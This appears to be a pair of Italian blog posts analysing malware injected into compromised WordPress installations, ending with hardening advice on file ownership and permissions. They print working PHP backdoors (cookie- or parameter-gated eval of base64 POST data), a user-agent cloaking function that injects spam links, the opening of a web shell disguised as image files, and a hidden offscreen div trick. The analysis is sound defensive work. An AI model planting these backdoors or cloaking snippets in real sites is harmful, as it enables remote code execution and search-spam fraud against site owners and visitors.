Ho ricevuto altri due tarball di siti web compromessi.

Entrambi hanno lo stesso schema di intrusione. Li sto ancora analizzando, e stavolta il cracker è più furbo dei precedenti. Il codice è iniettato su parecchie pagine, subito dopo la sequenza di escape del PHP, in questo modo (tratto dal file wp-admin/index.php):

<?php
  if(md5($_COOKIE['_wp_debugger'])=="788d0899a96f367ef0b93356bc87c28a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>
<?php
  if($_GET['4bb9dfc9087f6880']=="3af2f3a320b6d01a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>

Il primo if sembra essere una forma di identificazione: se nel browser del visitatore è presente un certo cookie viene eseguito del codice, risultante dalla funzione eval applicata sul contenuto della richiesta POST. Il secondo assomiglia al primo, solo che viene controllata la presenza ed il valore di una variabile di tipo urlencoded. Questo sito è stato compromesso più volte, almeno due, con versioni successive installate forse da due cracker differenti.

La parte più “gustosa”, si fa per dire, è quella del rilevamento dello user agent e della “farcitura” della home page di link spam (tratto dal file wp-includes/default-filters.php):

add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
  $seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
  $sebot="";
  foreach($seau as $ua)
    if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
  if(!($sebot==1 && sizeof($_COOKIE)==0)) return;
  @include('./wp-includes/class-mail.php');
  if(sizeof($wparr)>0){
    echo "<div id=\"_wp_footer\">";
    foreach($wparr as $k=>$v){
      echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n";
      if($i++==$inum) break;
    }
    echo "</div>".$_footer;
  }
}

Notare la lista delle stringhe per lo user agent, alla variabile $seau.
Questo tipo è quello che usa il tag <div> con ID pari a “_wp-footer”, visto qui.

Nell’albero delle directory dell’installazione di Wordpress compromessa vi sono alcuni file estranei, riconoscibili per via dell’ultima lettera dell’estensione del nome duplicata: en_new.php.jpgg, mcwindows.php.giff, Downloads_old.php.jpgg.

Il contenuto, come è facile immaginare, è completamente differente da quello che l’estensione sembra suggerire: sono script PHP che iniziano in questo modo:

<?php
  if(md5($_COOKIE['qwerty'])=="bed5666cccb90054bec0058e9f28d91c"){
    clearstatcache();
    set_magic_quotes_runtime(0);
    if(!function_exists('ini_set')){
      function ini_set(){
        return FALSE;
      }
   }
...

La prima riga è proprio una autenticazione, il resto del file contiene varie funzioni, le più interessanti sono una che tenta la modifica di alcune variabili di funzionamento dell’interprete PHP, per la precisione max_execution_time e output_buffering, ed una che controlla l’impostazione del “safe mode”. Segue una rudimentale shell via web che permette di creare directory, modificare file, rimuovere file o directory, fare l’upload di file, eseguire comandi via shell. Ed ancora, una funzione che scandisce l’albero di directory a partire da un punto e cerca file e directory modificabili con l’utente con cui viene eseguita la shell, ossia il web server. Ultima finezza, una funzione che permette di aprire e modificare un file e rimette data ed ora di ultima modifica a quella precedente le modifiche, come se il file non fosse mai stato toccato.

Insomma, il kit del provetto cracker.

Devo dire che c’è da imparare da questa gente. Alcune tecniche di programmazione sono realmente istruttive. C’è una funzione che cerca, fra le varie disponibili nelle tante versioni rilasciate di PHP, quella esistente nell’installazione in cui viene messa in esecuzione, a scelta fra: exec, shell_exec, system e passthru.

Tags: code analysis, spam, website intrusion, Wordpress

Grazie alla competenza ed alla estrema gentilezza di un webmaster, ho potuto analizzare il codice di uno dei siti compromessi negli ultimi tempi.

L’attacco è stato compiuto sfruttando una delle vulnerabilità note delle versioni 2.0.x di Wordpress, ed il risultato è stato di iniettare file PHP sia nella directory del tema Classic che in una delle directory accessorie dell’editor TinyMCE. Tramite questi due file l’attaccante è poi riuscito ad iniettare due singole righe di istruzioni in PHP all’interno del file wp-includes/function.php che iniziano così:

eval(base64_decode(.....

e contengono una lunga stringa di caratteri alfanumerici, in codifica Base64. La prima equivale a:

if(!$GLOBALS['dhhag']){if(have_posts()){$GLOBALS['dhhag'] = 1;if(function_exists('gml')){echo gml();}}}

ed è iniettata dentro la funzione mysql2date

La seconda è iniettata fra le funzioni is_archive e is_date: controlla se esiste il file dentro le directory di TinyMCE e lo include.

Lo stile di scrittura è tipico del codice offuscato, ossia un sorgente sintatticamente corretto, ma umanamente difficile da leggere, proprio di tool usati o scritti da cracker o hacker blackhat.

In sostanza il file dentro TinyMCE viene richiamato sia da Wordpress durante il suo funzionamento, sia esternamente dall’attaccante. Esaminando brevemente il codice, si evince che contiene funzioni per:

• Iniettare le due righe dette poco sopra nel file wp-includes/function.php
• scaricare nuove versioni di se stesso
• scaricare dati di lavoro dal server
• analizzare lo user agent dei visitatori e reagire alla presenza di determinate stringhe: google, msn, slurp
• riportare la propria attività su richiesta

E’ un tool automatizzato scritto appositamente, e fatto per lavorare in parallelo su un gran numero di siti compromessi. Una volta che l’attaccante lo ha iniettato nel sito vittima, lo attiva semplicemente richiamandolo tramite URL. Il risultato è un form con le opzioni da inserire, segue poi una chiamata ad un differente URL per attivarlo. Qui sotto un esempio del form.

I due siti cinesi che vedete nell’immagine del form sono quelli usati dal malware iniettato per ottenere i dati di lavoro.

Nella stessa directory ci sono i file di lavoro, con nomi che sono sequenza di 32 cifre esadecimali. Il contenuto è facilmente immaginabile: tipici messaggi spam con link ad altri siti, tutti blog già compromessi. E’ assai probabile che anche in questi siti si troverà il comportamento di redirect visto in precedenza.

Sono centinaia di link, ed ogni sito a cui puntano ne contiene di nuovi. E’ umanamente impossibile pensare di avvertirli tutti, ma ci sto provando.

Rispetto alle altre di cui ho parlato, questa è una differente variante. Non pare iniettare cose nel database e non effettua il redirect. In uno dei siti compromessi ho trovato una ulteriore variante della DIV farcita di link a beneficio del GoogleBot: questa non ha né un ID, né stile display, né Javascript che inietta lo stile in base all’ID. Qui la questione è molto più semplice: c’è una istruzione di stile come questa:

<div style="position:absolute;left:-17453px;top:-17453px">

Risultato: il contenuto della DIV è invisibile perché piazzata fuori dalla finestra del browser. E’ meno individuabile perché sia “display:none” che “id=goro” sono stringhe inusuali, e facilmente rintracciabili con un motore di ricerca, mentre “position:absolute” è infinitamente più comune.

Le ragioni per cui l’attacco ha avuto successo

Nell’installazione vi erano alcune debolezze, che hanno reso la vita relativamente facile all’attaccante. Vediamo le principali:

• La versione di Wordpress era la 2.0.3, vulnerabile a parecchi tipi di attacco, compreso uno che consente di accedere al database tramite la funzione di trackback. Esistono anche dei Proof of Concept sull’argomento.
• Tutti i file di Wordpress erano modificabili dall’account con cui viene eseguito il web server, in questo caso Apache. Questo ha permesso all’attaccante di inserire file in directory normalmente non modificabili, di modificare file di Wordpress e quindi di iniettare il proprio codice nei punti vitali dell’applicazione.
• Tutti i file di Wordpress appartenevano allo stesso account di Apache. Purtroppo questa è una pratica comune di molti servizi di hosting. E’ parente stretto del problema nel punto precedente, ma più grave: in questo modo anche se andiamo a togliere i permessi di scrittura per tutti ai file, il proprietario, ossia Apache, potrà renderli di nuovo scrivibili. Non dimentichiamoci che gli script PHP agiscono con lo stesso account e quindi gli stessi diritti del web server in cui è eseguito, in questo caso sempre Apache.

Per evitare di cadere vittima di questo tipo di attacchi, oltre a tenere aggiornato Wordpress, occorre fare un lavoro di hardening sull’installazione nel web server. La regola base è che Apache, o quello che sia, deve essere eseguito con un account differente da quello a cui appartengono i file del sito. In questo modo si può controllare meglio il comportamento del codice PHP, ed impedirgli di automodificarsi, cosa tipica delle iniezioni di codice da parte di malware.

Altra cosa è di assegnare poi i permessi di scrittura solo e soltanto dove serve. Una buona guida è qui.

Tags: code analysis, spam, website intrusion, Wordpress